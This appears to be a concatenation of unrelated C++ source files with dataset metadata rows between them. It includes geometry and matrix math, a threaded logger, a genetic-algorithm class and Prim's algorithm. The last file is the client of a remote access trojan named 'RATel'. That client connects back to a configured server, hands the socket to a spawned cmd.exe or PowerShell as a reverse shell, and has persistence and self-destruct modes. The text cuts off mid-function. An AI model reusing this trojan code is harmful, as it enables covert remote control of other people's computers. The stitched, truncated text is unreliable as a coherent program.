n[0] = -(v2[1] - v0[1]);
n[1] = v2[0] - v0[0];
// Normalize
float nl = sqrt(dotprod<2>(n,n));
n[0] /= nl;
n[1] /= nl;
// Direction of second diagonal (v1,v3)
float d[2];
d[0] = v3[0] - v1[0];
d[1] = v3[1] - v1[1];
// Plug parametric form of 2nd into normal form of 1st diagonal
float t =
(dotprod<2>( v0, n ) - dotprod<2>( v1, n ))
/ dotprod<2>( n, d ); // FIXME: Check for colinearity!
// Get intersection point (evaluate parametric 1st diagonal at t)
m_p[0] = v1[0] + t * d[0];
m_p[1] = v1[1] + t * d[1];
// Homogeneous weights
T s0 = length<2>( v0, m_p ),
s1 = length<2>( v1, m_p ),
s2 = length<2>( v2, m_p ),
s3 = length<2>( v3, m_p );
m_q[0] = (s0+s2)/s2;
m_q[1] = (s1+s3)/s3;
m_q[2] = (s0+s2)/s0;
m_q[3] = (s1+s3)/s1;
}
const T* getIntersection() const { return m_p; }
const T* getHomogeneousWeights() const { return m_q; }
private:
T m_p[2]; ///< Point of intersection between quad diagonals
T m_q[4]; ///< Homogeneous weights for each vertex
};
} // namespace Geometry
#endif // GEOMETRY_H
| true |
8b0505fc539224eee05de38f1f0f84f5314d2a9f | C++ | slesarev-hub/MM-tasks | /Multithreading-logger/logger_1.cpp | UTF-8 | 1,593 | 2.6875 | 3 | [] | no_license | #include "logger_1.hpp"
Consumer_1::Consumer_1()
: Consumer(){}
Consumer_1::~Consumer_1(){}
void Consumer_1::notify_one() const
{
this->log_condition.notify_one();
}
void Consumer_1::log_source(int producers_count, std::ostream& out)
{
this->producers_count = producers_count;
for(;;)
{
std::unique_lock<std::mutex> lock_1(this->mtx);
this->log_condition.wait(lock_1, [&]()
{return (!this->source_pool.empty());});
write_to_stream(this->source_pool, out);
if (this->producers_count <= 0)
{
write_to_stream(this->source_pool, out);
break;
}
}
}
std::atomic<int> Producer_1::current_producers{0};
Producer_1::Producer_1()
: Producer(),
number_of_parcels(0),
id(Producer_1::current_producers++){}
Producer_1::~Producer_1()
{
Producer_1::current_producers--;
}
Producer_1::Producer_1(int sleep_time, int number_of_parcels)
: Producer(sleep_time),
number_of_parcels(number_of_parcels),
id(Producer_1::current_producers++){}
void Producer_1::send(Consumer_1& consumer)
{
for (int i = 0; i < this->number_of_parcels; i++)
{
Data data(std::to_string(i));
data.set_thread_info(std::to_string(this->sleep_time.count()));
std::this_thread::sleep_for(this->sleep_time);
std::lock_guard<Consumer> lock_1(consumer);
consumer.push_back(data);
if (i == this->number_of_parcels - 1)
{
consumer.producers_count--;
}
consumer.notify_one();
}
}
| true |
d3d83dc74b481de0640c8aa9c0ac53e64fcb8c01 | C++ | mannyzhou5/scbuildorder | /GAPopulation.h | UTF-8 | 8,128 | 2.640625 | 3 | [] | no_license | #pragma once
#include "stdafx.h"
#include "Vector.h"
#include "GAConfiguration.h"
#include "GAChromosome.h"
template<typename TGene, typename TFitnessCalc, typename TFitness>
class CGAPopulation
{
public:
CGAPopulation(const CGAConfiguration<TGene, TFitnessCalc, TFitness> &config, size_t maxPopulation);
~CGAPopulation();
void Initialise(size_t initialPopulation, size_t minSize, size_t maxSize);
bool AddChromosome(const CVector<TGene> &value);
const CGAConfiguration<TGene, TFitnessCalc, TFitness> &config() const { return m_config; }
size_t populationCount() const { return m_populationCount; }
unsigned long long gameCount() const { return m_gameCount; }
const TFitness GetBestFitness() const { return m_population[0]->GetFitness(); }
const CVector<TGene> GetBestChromosome() const { return m_population[0]->GetValue(); }
bool IsSatisfied() const { return m_config.SatisfiesTarget(GetBestChromosome()); }
void Sort() { Sort(m_population); }
bool Evolve();
void Clear() { ClearPopulation(m_population); memset(m_population, 0, m_maxPopulation * sizeof(CGAChromosome<TGene, TFitness> *)); m_populationCount = 0; m_stagnationCount = 0; }
void Print(size_t maxCount = 0);
size_t StagnationCount() const { return m_stagnationCount; }
size_t PopulationCount() const { return m_populationCount; }
size_t MaxPopulation() const { return m_maxPopulation; }
protected:
void Sort(CGAChromosome<TGene, TFitness> **population);
void ClearPopulation(CGAChromosome<TGene, TFitness> **population);
CMemoryPool m_populationMemPool;
const CGAConfiguration<TGene, TFitnessCalc, TFitness> &m_config;
size_t m_maxPopulation;
size_t m_populationCount;
size_t m_stagnationCount;
unsigned long long m_gameCount;
TFitness m_currentBestFitness;
CGAChromosome<TGene, TFitness> **m_population;
};
template<typename TGene, typename TFitnessCalc, typename TFitness>
CGAPopulation<TGene, TFitnessCalc, TFitness>::CGAPopulation(const CGAConfiguration<TGene, TFitnessCalc, TFitness> &config, size_t maxPopulation)
: m_config(config), m_maxPopulation(maxPopulation < 20 ? 20 : maxPopulation), m_populationMemPool(maxPopulation * sizeof(CGAChromosome<TGene, TFitness> *)), m_stagnationCount(0), m_gameCount(0), m_currentBestFitness()
{
m_populationCount = 0;
m_population = (CGAChromosome<TGene, TFitness> **)m_populationMemPool.Alloc();
memset(m_population, 0, m_maxPopulation * sizeof(CGAChromosome<TGene, TFitness> *));
}
template<typename TGene, typename TFitnessCalc, typename TFitness>
CGAPopulation<TGene, TFitnessCalc, TFitness>::~CGAPopulation()
{
ClearPopulation(m_population);
m_populationMemPool.Free(m_population);
}
template<typename TGene, typename TFitnessCalc, typename TFitness>
void CGAPopulation<TGene, TFitnessCalc, TFitness>::Initialise(size_t initialPopulation, size_t minSize, size_t maxSize)
{
m_currentBestFitness = TFitness();
minSize = mymin(minSize, maxSize);
for(size_t j=0; j < initialPopulation; j++)
{
CVector<TGene> junk;
size_t size = (((maxSize - minSize) * rand_sse()) / RAND_MAX) + minSize;
for(size_t k=0; k < size; k++)
junk.push_back(m_config.GetRandomGene());
AddChromosome(junk);
}
Sort(m_population);
}
template<typename TGene, typename TFitnessCalc, typename TFitness>
void CGAPopulation<TGene, TFitnessCalc, TFitness>::ClearPopulation(CGAChromosome<TGene, TFitness> **population)
{
for(size_t i=0; i < m_maxPopulation; i++)
if(population[i])
delete population[i];
}
template<typename TGene, typename TFitnessCalc, typename TFitness>
bool CGAPopulation<TGene, TFitnessCalc, TFitness>::AddChromosome(const CVector<TGene> &value)
{
CGAChromosome<TGene, TFitness> **ptrEmpty = m_population;
if(m_populationCount >= m_maxPopulation)
{
ptrEmpty = &m_population[m_populationCount - 1];
delete *ptrEmpty;
}
else
{
while(*ptrEmpty != 0)
ptrEmpty++;
m_populationCount++;
}
*ptrEmpty = new CGAChromosome<TGene, TFitness>(value);
m_config.ValidateAndCalculateFitness(*ptrEmpty);
return true;
}
template<typename TGene, typename TFitnessCalc, typename TFitness>
bool CGAPopulation<TGene, TFitnessCalc, TFitness>::Evolve()
{
CGAChromosome<TGene, TFitness> **newPopulation = (CGAChromosome<TGene, TFitness> **)m_populationMemPool.Alloc();
memset(newPopulation, 0, m_maxPopulation * sizeof(CGAChromosome<TGene, TFitness> *));
size_t newPopulationCount = m_maxPopulation / 8; // Save room for elitism performed later
double totalFitness = 0;
for(size_t i=0; i < m_maxPopulation; i++)
{
if(m_population[i] != 0)
totalFitness += (double)m_population[i]->GetFitness();
}
while(newPopulationCount < m_maxPopulation && newPopulationCount < m_populationCount * 2)
{
// Breeding
CGAChromosome<TGene, TFitness> *parentA, *parentB, **population;
double chosenFitness = (totalFitness * rand_sse()) / RAND_MAX;
double curFitness = 0;
population = m_population;
for(size_t i=0; i < m_maxPopulation; i++, population++)
{
if(*population != 0)
{
curFitness += (*population)->GetFitness();
if(curFitness >= chosenFitness)
{
parentA = *population;
break;
}
}
}
chosenFitness = (totalFitness * rand_sse()) / RAND_MAX;
curFitness = 0;
population = m_population;
for(size_t i=0; i < m_maxPopulation; i++, population++)
{
if(*population != 0)
{
curFitness += (*population)->GetFitness();
if(curFitness >= chosenFitness)
{
parentB = *population;
break;
}
}
}
double crossover = (double)rand_sse() / (double)RAND_MAX;
newPopulation[newPopulationCount++] = parentA->Breed(parentB, crossover);
if(newPopulationCount < m_maxPopulation)
newPopulation[newPopulationCount++] = parentB->Breed(parentA, crossover);
}
// Mutation
for(size_t i = m_maxPopulation/8; i < newPopulationCount; i++)
{
for(size_t j=0; j < m_config.GetOperatorCount(); j++)
{
m_config.GetOperator(j)->Execute(newPopulation[i]);
}
}
// Set Fitness
for(size_t i=m_maxPopulation/8; i < newPopulationCount; i++)
{
m_gameCount++;
m_config.ValidateAndCalculateFitness(newPopulation[i]);
}
// Elitism
size_t tempIndex = 0;
for(size_t i=0; i < m_maxPopulation && tempIndex < m_maxPopulation/8; i++)
{
if(m_population[i])
{
newPopulation[tempIndex++] = m_population[i];
m_population[i] = 0;
}
}
// Sort
Sort(newPopulation);
// Remove duplicates
size_t curIndex = 0;
for(size_t i=0; i < newPopulationCount; i++)
{
while(!newPopulation[i] && i < newPopulationCount)
i++;
if(i >= newPopulationCount)
break;
while(i < newPopulationCount - 1 && newPopulation[i+1] && newPopulation[i]->GetValue() == newPopulation[i+1]->GetValue())
{
delete newPopulation[i];
newPopulation[i] = 0;
i++;
}
if(curIndex != i)
{
newPopulation[curIndex++] = newPopulation[i];
newPopulation[i] = 0;
}
else
curIndex++;
}
m_populationCount = curIndex;
ClearPopulation(m_population);
m_populationMemPool.Free(m_population);
m_population = newPopulation;
if(m_currentBestFitness < m_population[0]->GetFitness())
{
m_currentBestFitness = m_population[0]->GetFitness();
m_stagnationCount = 0;
}
else
m_stagnationCount++;
return true;
}
template<typename TGene, typename TFitnessCalc, typename TFitness>
void CGAPopulation<TGene, TFitnessCalc, TFitness>::Sort(CGAChromosome<TGene, TFitness> **population)
{
qsort(population, m_maxPopulation, sizeof(CGAChromosome<TGene, TFitness> *), CompareChromosome<TGene, TFitness>);
}
template<typename TGene, typename TFitnessCalc, typename TFitness>
void CGAPopulation<TGene, TFitnessCalc, TFitness>::Print(size_t maxCount /* = 0 */)
{
cout << "Population count: " << m_populationCount << endl;
for(size_t i=0; i < m_maxPopulation && i < maxCount; i++)
if(m_population[i])
{
cout << "Chromosome " << i << ": ";
m_population[i]->Print();
}
cout << "";
}
| true |
e9a742520e76601662df116cffa97a1698560960 | C++ | TIove/Algorithms_and_data_structures | /9_laba/C.cpp | UTF-8 | 1,214 | 2.96875 | 3 | [] | no_license | #include <fstream>
#include <vector>
#include <queue>
using namespace std;
typedef long long ll;
ll Prim(vector <bool> isPath, vector <pair <ll, ll>> graph[1000000]) {
ll result = 0;
priority_queue< pair<ll, ll>, vector<pair<ll, ll>>, greater<pair<ll, ll>> > pQueue;
pQueue.push({0, 0});
while (!pQueue.empty()) {
pair<ll, ll> costOfVertex = pQueue.top();
pQueue.pop();
if (isPath[costOfVertex.second])
continue;
isPath[costOfVertex.second] = true;
result += costOfVertex.first;
for (auto & i : graph[costOfVertex.second]) {
if (!isPath[i.first])
pQueue.push(make_pair(i.second, i.first));
}
}
return result;
}
int main() {
ifstream in("spantree3.in");
ofstream out("spantree3.out");
ll n, m;
in >> n >> m;
vector <pair <ll, ll>> graph[1000000];
vector <bool> isPath(n, false);
for (ll i = 0; i < m; i++) {
ll from, to, weight;
in >> from >> to >> weight;
from--;
to--;
graph[from].emplace_back(to, weight);
graph[to].emplace_back(from, weight);
}
out << Prim(isPath, graph);
return 0;
} | true |
721e3c587a1465f3d30e3199ed680cb3f1b98167 | C++ | pugakn/ProyectoGraficas | /Example/Example/Matrix4D.cpp | UTF-8 | 11,355 | 2.9375 | 3 | [] | no_license | #include "Matrix4D.h"
#include <memory>
#include <math.h>
Matrix4D::Matrix4D()
{
memset(this, 0, sizeof(Matrix4D));
this->m[0][0] = 1.f;
this->m[1][1] = 1.f;
this->m[2][2] = 1.f;
this->m[3][3] = 1.f;
}
Matrix4D::Matrix4D(float * pMatrix)
{
for (int i = 0; i < 16; i++)
{
v[i] = pMatrix[i];
}
}
Matrix4D::Matrix4D(const Matrix4D& A) {
*this = A;
}
Matrix4D::Matrix4D(float a00, float a01, float a02, float a03,
float a10, float a11, float a12, float a13,
float a20, float a21, float a22, float a23,
float a30, float a31, float a32, float a33) {
m00 = a00; m01 = a01; m02 = a02; m03 = a03;
m10 = a10; m11 = a11; m12 = a12, m13 = a13;
m20 = a20; m21 = a21; m22 = a22, m23 = a23;
m30 = a30; m31 = a31; m32 = a32, m33 = a33;
}
Matrix4D::Matrix4D(const Vector4D &row0,
const Vector4D &row1,
const Vector4D &row2,
const Vector4D &row3) {
Row0 = row0;
Row1 = row1;
Row2 = row2;
Row3 = row3;
}
Matrix4D::~Matrix4D()
{
}
Matrix4D operator* (const Matrix4D& A, const Matrix4D& B) {
Matrix4D R = Zero();
R.m[0][0] = A.m[0][0] * B.m[0][0] + A.m[0][1] * B.m[1][0] + A.m[0][2] * B.m[2][0] + A.m[0][3] * B.m[3][0];
R.m[0][1] = A.m[0][0] * B.m[0][1] + A.m[0][1] * B.m[1][1] + A.m[0][2] * B.m[2][1] + A.m[0][3] * B.m[3][1];
R.m[0][2] = A.m[0][0] * B.m[0][2] + A.m[0][1] * B.m[1][2] + A.m[0][2] * B.m[2][2] + A.m[0][3] * B.m[3][2];
R.m[0][3] = A.m[0][0] * B.m[0][3] + A.m[0][1] * B.m[1][3] + A.m[0][2] * B.m[2][3] + A.m[0][3] * B.m[3][3];
R.m[1][0] = A.m[1][0] * B.m[0][0] + A.m[1][1] * B.m[1][0] + A.m[1][2] * B.m[2][0] + A.m[1][3] * B.m[3][0];
R.m[1][1] = A.m[1][0] * B.m[0][1] + A.m[1][1] * B.m[1][1] + A.m[1][2] * B.m[2][1] + A.m[1][3] * B.m[3][1];
R.m[1][2] = A.m[1][0] * B.m[0][2] + A.m[1][1] * B.m[1][2] + A.m[1][2] * B.m[2][2] + A.m[1][3] * B.m[3][2];
R.m[1][3] = A.m[1][0] * B.m[0][3] + A.m[1][1] * B.m[1][3] + A.m[1][2] * B.m[2][3] + A.m[1][3] * B.m[3][3];
R.m[2][0] = A.m[2][0] * B.m[0][0] + A.m[2][1] * B.m[1][0] + A.m[2][2] * B.m[2][0] + A.m[2][3] * B.m[3][0];
R.m[2][1] = A.m[2][0] * B.m[0][1] + A.m[2][1] * B.m[1][1] + A.m[2][2] * B.m[2][1] + A.m[2][3] * B.m[3][1];
R.m[2][2] = A.m[2][0] * B.m[0][2] + A.m[2][1] * B.m[1][2] + A.m[2][2] * B.m[2][2] + A.m[2][3] * B.m[3][2];
R.m[2][3] = A.m[2][0] * B.m[0][3] + A.m[2][1] * B.m[1][3] + A.m[2][2] * B.m[2][3] + A.m[2][3] * B.m[3][3];
R.m[3][0] = A.m[3][0] * B.m[0][0] + A.m[3][1] * B.m[1][0] + A.m[3][2] * B.m[2][0] + A.m[3][3] * B.m[3][0];
R.m[3][1] = A.m[3][0] * B.m[0][1] + A.m[3][1] * B.m[1][1] + A.m[3][2] * B.m[2][1] + A.m[3][3] * B.m[3][1];
R.m[3][2] = A.m[3][0] * B.m[0][2] + A.m[3][1] * B.m[1][2] + A.m[3][2] * B.m[2][2] + A.m[3][3] * B.m[3][2];
R.m[3][3] = A.m[3][0] * B.m[0][3] + A.m[3][1] * B.m[1][3] + A.m[3][2] * B.m[2][3] + A.m[3][3] * B.m[3][3];
return R;
}
Vector4D operator* (const Vector4D& V, const Matrix4D& M) {
Vector4D R (0,0,0,0);
R.x = V.x * M.m[0][0] + V.y * M.m[1][0] + V.z * M.m[2][0] + V.w * M.m[3][0];
R.y = V.x * M.m[0][1] + V.y * M.m[1][1] + V.z * M.m[2][1] + V.w * M.m[3][1];
R.z = V.x * M.m[0][2] + V.y * M.m[1][2] + V.z * M.m[2][2] + V.w * M.m[3][2];
R.w = V.x * M.m[0][3] + V.y * M.m[1][3] + V.z * M.m[2][3] + V.w * M.m[3][3];
return R;
}
Vector3D operator* (const Vector3D& V, const Matrix4D& M) {
Vector4D R = Vector4D(V.x, V.y, V.z,0) * M;
return Vector3D(R.x,R.y,R.z);
}
Vector4D operator* (const Matrix4D& M, const Vector4D& V) {
return Vector4D(
Dot(M.Row0, V),
Dot(M.Row1, V),
Dot(M.Row2, V),
Dot(M.Row3, V));
}
bool operator!=(const Matrix4D& A,const Matrix4D & B)
{
for (size_t i = 0; i < 16; i++)
{
if (A.v[i] != B.v[i])
return true;
}
return false;
}
Matrix4D operator*(const float F, const Matrix4D & B)
{
Matrix4D R = B;
R.m[0][0] *= F;
R.m[0][1] *= F;
R.m[0][2] *= F;
R.m[0][3] *= F;
R.m[1][0] *= F;
R.m[1][1] *= F;
R.m[1][2] *= F;
R.m[1][3] *= F;
R.m[2][0] *= F;
R.m[2][1] *= F;
R.m[2][2] *= F;
R.m[2][3] *= F;
R.m[3][0] *= F;
R.m[3][1] *= F;
R.m[3][2] *= F;
R.m[3][3] *= F;
return R;
}
Matrix4D Zero() {
Matrix4D Z;
memset(&Z, 0, sizeof(Matrix4D));
return Z;
}
Matrix4D Identity() {
Matrix4D I = Zero();
I.m[0][0] = 1.f;
I.m[1][1] = 1.f;
I.m[2][2] = 1.f;
I.m[3][3] = 1.f;
return I;
}
Matrix4D TranslationRH(float dx, float dy, float dz) {
Matrix4D T = Identity();
T.m30 = dx;
T.m31 = dy;
T.m32 = dz;
return T;
}
Matrix4D RotationXRH(float theta) {
Matrix4D R = Identity();
R.m11 = cosf(theta);
R.m22 = R.m11;
R.m21 = sin(theta);
R.m12 = -R.m21;
return R;
}
Matrix4D RotationYRH(float theta) {
Matrix4D R = Identity();
R.m22=R.m00 = cosf(theta);
R.m20 = -sinf(theta);
R.m02 = -R.m20;
return R;
}
Matrix4D RotationZRH(float theta) {
Matrix4D R = Identity();
R.m00 = cosf(theta);
R.m11 = R.m00;
R.m10 = sinf(theta);
R.m01 = -R.m10;
return R;
}
Matrix4D LookAtRH(const Vector3D& pos, const Vector3D& target, const Vector3D& up)
{
Vector3D zDir = Normalize( pos - target);
Vector3D xDir = Normalize(Cross3(up, zDir));
Vector3D yDir = Cross3(zDir, xDir);
return Matrix4D(xDir.x , yDir.x , zDir.x , 0,
xDir.y , yDir.y , zDir.y , 0,
xDir.z , yDir.z , zDir.z , 0,
-Dot(xDir,pos), -Dot(yDir, pos), -Dot(zDir, pos), 1.f);
}
Matrix4D PerspectiveFOVRH(float fov, float aspectRatio, float nearPlane, float farPlane)
{
float yScale = 1/tanf(fov/2.f);
float xScale = yScale / aspectRatio;
return Matrix4D(xScale,0,0,0,
0,yScale,0,0,
0,0, farPlane / (nearPlane - farPlane),-1.f,
0,0, nearPlane*farPlane / (nearPlane - farPlane),0
);
}
Matrix4D TranslationLH(float dx, float dy, float dz) {
Matrix4D T = Identity();
T.m03 = dx;
T.m13 = dy;
T.m23 = dz;
return T;
}
Matrix4D RotationXLH(float theta) {
Matrix4D R = Identity();
R.m11 = cosf(theta);
R.m22 = R.m11;
R.m12 = sin(theta);
R.m21 = -R.m21;
return R;
}
Matrix4D RotationYLH(float theta) {
Matrix4D R = Identity();
R.m22 = R.m00 = cosf(theta);
R.m02 = -sinf(theta);
R.m20 = -R.m20;
return R;
}
Matrix4D RotationZLH(float theta) {
Matrix4D R = Identity();
R.m00 = cosf(theta);
R.m11 = R.m00;
R.m01 = sinf(theta);
R.m10 = -R.m10;
return R;
}
Matrix4D Scaling(float sx, float sy, float sz) {
Matrix4D S = Zero();
S.m00 = sx;
S.m11 = sy;
S.m22 = sz;
S.m33 = 1;
return S;
}
Matrix4D ProjOrthoRH( const float &w, const float &h, const float &nearPlane, const float &farPlane) {
Matrix4D m = Identity();
m.m[0][0] = 2.0f / w;
m.m[1][1] = 2.0f / h;
m.m[2][2] = 1.0f / (nearPlane - farPlane);
m.m[3][2] = nearPlane / (nearPlane - farPlane);
m.m[3][3] = 1.0f;
//m.m[0][0] = 2.0f * w;
//m.m[1][1] = 2.0f * h;
//m.m[2][2] = -2*(farPlane - nearPlane);
//m.m[0][3] = -w;
//m.m[1][3] = -h;
//m.m[2][3] = -farPlane + (farPlane*nearPlane) - farPlane;
////m.m[3][2] = nearPlane / (nearPlane - farPlane );
//m.m[3][3] = 1.0f;
return m;
}
Matrix4D Inverse(const Matrix4D & o)
{
Matrix4D tmp64 = o;
float det =
tmp64.m00*tmp64.m11*tmp64.m22*tmp64.m33 + tmp64.m00*tmp64.m12*tmp64.m23*tmp64.m31 + tmp64.m00*tmp64.m13*tmp64.m21*tmp64.m32
+ tmp64.m01*tmp64.m10*tmp64.m23*tmp64.m32 + tmp64.m01*tmp64.m12*tmp64.m20*tmp64.m33 + tmp64.m01*tmp64.m13*tmp64.m22*tmp64.m30
+ tmp64.m02*tmp64.m10*tmp64.m21*tmp64.m33 + tmp64.m02*tmp64.m11*tmp64.m23*tmp64.m30 + tmp64.m02*tmp64.m13*tmp64.m20*tmp64.m31
+ tmp64.m03*tmp64.m10*tmp64.m22*tmp64.m31 + tmp64.m03*tmp64.m11*tmp64.m20*tmp64.m32 + tmp64.m03*tmp64.m12*tmp64.m21*tmp64.m30
- tmp64.m00*tmp64.m11*tmp64.m23*tmp64.m32 - tmp64.m00*tmp64.m12*tmp64.m21*tmp64.m33 - tmp64.m00*tmp64.m13*tmp64.m22*tmp64.m31
- tmp64.m01*tmp64.m10*tmp64.m22*tmp64.m33 - tmp64.m01*tmp64.m12*tmp64.m23*tmp64.m30 - tmp64.m01*tmp64.m13*tmp64.m20*tmp64.m32
- tmp64.m02*tmp64.m10*tmp64.m23*tmp64.m31 - tmp64.m02*tmp64.m11*tmp64.m20*tmp64.m33 - tmp64.m02*tmp64.m13*tmp64.m21*tmp64.m30
- tmp64.m03*tmp64.m10*tmp64.m21*tmp64.m32 - tmp64.m03*tmp64.m11*tmp64.m22*tmp64.m30 - tmp64.m03*tmp64.m12*tmp64.m20*tmp64.m31;
if (det == 0.0f) {
printf("\n\nThe Universe stopped, no det for Matrix, all ends here.\n\n");
exit(666);
}
det = 1.0f / det;
Matrix4D out;
out.m00 = tmp64.m11*tmp64.m22*tmp64.m33 + tmp64.m12*tmp64.m23*tmp64.m31 + tmp64.m13*tmp64.m21*tmp64.m32 - tmp64.m11*tmp64.m23*tmp64.m32 - tmp64.m12*tmp64.m21*tmp64.m33 - tmp64.m13*tmp64.m22*tmp64.m31;
out.m01 = tmp64.m01*tmp64.m23*tmp64.m32 + tmp64.m02*tmp64.m21*tmp64.m33 + tmp64.m03*tmp64.m22*tmp64.m31 - tmp64.m01*tmp64.m22*tmp64.m33 - tmp64.m02*tmp64.m23*tmp64.m31 - tmp64.m03*tmp64.m21*tmp64.m32;
out.m02 = tmp64.m01*tmp64.m12*tmp64.m33 + tmp64.m02*tmp64.m13*tmp64.m31 + tmp64.m03*tmp64.m11*tmp64.m32 - tmp64.m01*tmp64.m13*tmp64.m32 - tmp64.m02*tmp64.m11*tmp64.m33 - tmp64.m03*tmp64.m12*tmp64.m31;
out.m03 = tmp64.m01*tmp64.m13*tmp64.m22 + tmp64.m02*tmp64.m11*tmp64.m23 + tmp64.m03*tmp64.m12*tmp64.m21 - tmp64.m01*tmp64.m12*tmp64.m23 - tmp64.m02*tmp64.m13*tmp64.m21 - tmp64.m03*tmp64.m11*tmp64.m22;
out.m10 = tmp64.m10*tmp64.m23*tmp64.m32 + tmp64.m12*tmp64.m20*tmp64.m33 + tmp64.m13*tmp64.m22*tmp64.m30 - tmp64.m10*tmp64.m22*tmp64.m33 - tmp64.m12*tmp64.m23*tmp64.m30 - tmp64.m13*tmp64.m20*tmp64.m32;
out.m11 = tmp64.m00*tmp64.m22*tmp64.m33 + tmp64.m02*tmp64.m23*tmp64.m30 + tmp64.m03*tmp64.m20*tmp64.m32 - tmp64.m00*tmp64.m23*tmp64.m32 - tmp64.m02*tmp64.m20*tmp64.m33 - tmp64.m03*tmp64.m22*tmp64.m30;
out.m12 = tmp64.m00*tmp64.m13*tmp64.m32 + tmp64.m02*tmp64.m10*tmp64.m33 + tmp64.m03*tmp64.m12*tmp64.m30 - tmp64.m00*tmp64.m12*tmp64.m33 - tmp64.m02*tmp64.m13*tmp64.m30 - tmp64.m03*tmp64.m10*tmp64.m32;
out.m13 = tmp64.m00*tmp64.m12*tmp64.m23 + tmp64.m02*tmp64.m13*tmp64.m20 + tmp64.m03*tmp64.m10*tmp64.m22 - tmp64.m00*tmp64.m13*tmp64.m22 - tmp64.m02*tmp64.m10*tmp64.m23 - tmp64.m03*tmp64.m12*tmp64.m20;
out.m20 = tmp64.m10*tmp64.m21*tmp64.m33 + tmp64.m11*tmp64.m23*tmp64.m30 + tmp64.m13*tmp64.m20*tmp64.m31 - tmp64.m10*tmp64.m23*tmp64.m31 - tmp64.m11*tmp64.m20*tmp64.m33 - tmp64.m13*tmp64.m21*tmp64.m30;
out.m21 = tmp64.m00*tmp64.m23*tmp64.m31 + tmp64.m01*tmp64.m20*tmp64.m33 + tmp64.m03*tmp64.m21*tmp64.m30 - tmp64.m00*tmp64.m21*tmp64.m33 - tmp64.m01*tmp64.m23*tmp64.m30 - tmp64.m03*tmp64.m20*tmp64.m31;
out.m22 = tmp64.m00*tmp64.m11*tmp64.m33 + tmp64.m01*tmp64.m13*tmp64.m30 + tmp64.m03*tmp64.m10*tmp64.m31 - tmp64.m00*tmp64.m13*tmp64.m31 - tmp64.m01*tmp64.m10*tmp64.m33 - tmp64.m03*tmp64.m11*tmp64.m30;
out.m23 = tmp64.m00*tmp64.m13*tmp64.m21 + tmp64.m01*tmp64.m10*tmp64.m23 + tmp64.m03*tmp64.m11*tmp64.m20 - tmp64.m00*tmp64.m11*tmp64.m23 - tmp64.m01*tmp64.m13*tmp64.m20 - tmp64.m03*tmp64.m10*tmp64.m21;
out.m30 = tmp64.m10*tmp64.m22*tmp64.m31 + tmp64.m11*tmp64.m20*tmp64.m32 + tmp64.m12*tmp64.m21*tmp64.m30 - tmp64.m10*tmp64.m21*tmp64.m32 - tmp64.m11*tmp64.m22*tmp64.m30 - tmp64.m12*tmp64.m20*tmp64.m31;
out.m31 = tmp64.m00*tmp64.m21*tmp64.m32 + tmp64.m01*tmp64.m22*tmp64.m30 + tmp64.m02*tmp64.m20*tmp64.m31 - tmp64.m00*tmp64.m22*tmp64.m31 - tmp64.m01*tmp64.m20*tmp64.m32 - tmp64.m02*tmp64.m21*tmp64.m30;
out.m32 = tmp64.m00*tmp64.m12*tmp64.m31 + tmp64.m01*tmp64.m10*tmp64.m32 + tmp64.m02*tmp64.m11*tmp64.m30 - tmp64.m00*tmp64.m11*tmp64.m32 - tmp64.m01*tmp64.m12*tmp64.m30 - tmp64.m02*tmp64.m10*tmp64.m31;
out.m33 = tmp64.m00*tmp64.m11*tmp64.m22 + tmp64.m01*tmp64.m12*tmp64.m20 + tmp64.m02*tmp64.m10*tmp64.m21 - tmp64.m00*tmp64.m12*tmp64.m21 - tmp64.m01*tmp64.m10*tmp64.m22 - tmp64.m02*tmp64.m11*tmp64.m20;
Matrix4D tmp;
for (int i = 0; i < 16; i++) {
tmp.v[i] = det*out.v[i];
}
return tmp;
}
| true |
f6837ca356cf90e03deb49e043a9a9f55da5ddec | C++ | ToR-0/RATel | /client/src/Connexion.cpp | UTF-8 | 10,158 | 2.640625 | 3 | [
"MIT"
] | permissive | //#define WIN32_LEAN_AND_MEAN
#include "../inc/Connexion.h"
#include "../inc/common.h"
#include "../inc/Persistence.h"
#include "../inc/other.h"
#include "../inc/Exec.h"
#include "../inc/Destruction.h"
using namespace std;
Connexion::Connexion()
{
;
} //Constructor
int Connexion::openConnexion()
{
Sleep(500);
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN address_client;
sock_client = sock; //Find one alternativ
WSAStartup(MAKEWORD(2,0), &WSAData);
sock_client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); //https://stackoverflow.com/questions/4993119/redirect-io-of-process-to-windows-socket
address_client.sin_addr.s_addr= inet_addr(IP_ADDRESS);
address_client.sin_family = AF_INET;
address_client.sin_port = htons(PORT);
while(connect(sock_client,(SOCKADDR *)&address_client, sizeof(address_client)))
{
Sleep(TIMEOUT_SOCK_RECONNECT);
//Whait...;
}
return 0;
}
int Connexion::main()
{
string command,status;
vector <string> result;
int len_recv=0;
int cmpt;
const int max_cmpt = TIMEOUT / MICRO_SLEEP;
bool status_destruction = false; //Test if error in Destruction
while(true)
{
//Sleep(1000);
command = recvSafe(); //Recv safe and decrypt xor
if(command.find("is_life?") != string::npos)
{
;
//if find is_life then continue
}
else
{
//cout << "command in main ---->" << command.substr(0,command.length()-1) <<"<------------"<<endl;
if(command=="exit")//change
{
break;
}
else if (command.empty())
{
//Connection is down.
;
}
else if(command.substr(0,2)=="cd")
{
//Change directory
if(changeDirectory(command))
{
result.push_back("Error when changing folder.");
}
else
{
result.push_back(getPath());
}
sendSafe(result);
}
else if(command.substr(0,16) == "MOD_SPAWN_SHELL:")
{
wchar_t prog[20];
//test if cmd.exe or powershell.exe
if(command.substr(16, command.length()) == "cmd.exe")
{
wcscpy(prog, L"cmd.exe");
Exec().spawnSHELL(sock_client,prog);
}
else
{
wcscpy(prog, L"powershell.exe");
Exec().spawnSHELL(sock_client,prog);
}
}
else if(command.substr(0,8)=="MOD_ALL:")
{
Exec().executeCommand(command.substr(8));
}
else if (command.substr(0,16) =="MOD_PERSISTENCE:")
{
//In mod persistence.
Persistence persistence(a_is_admin, a_path_prog);
persistence.main();
if(command.substr(16) =="default") //The client sends a response to the server to report whether the persistence was successfully completed.
{
send(sock_client , XOREncryption("\r\n").c_str() ,2 ,0);
}
else
{
//cout << "broadcast persi" << endl;
;
}
}
else if (command.substr(0,16) == "MOD_DESTRUCTION:")
{
string name_prog = NAME_PROG; //To change
wstring name_prog_unicode(name_prog.begin(), name_prog.end()) ; //To change
wstring path_prog_unicode(a_path_prog.begin(), a_path_prog.end());
Destruction destruction(name_prog_unicode, path_prog_unicode);
status_destruction = destruction.main();
if(status_destruction) //Go destruction !
{
//If error
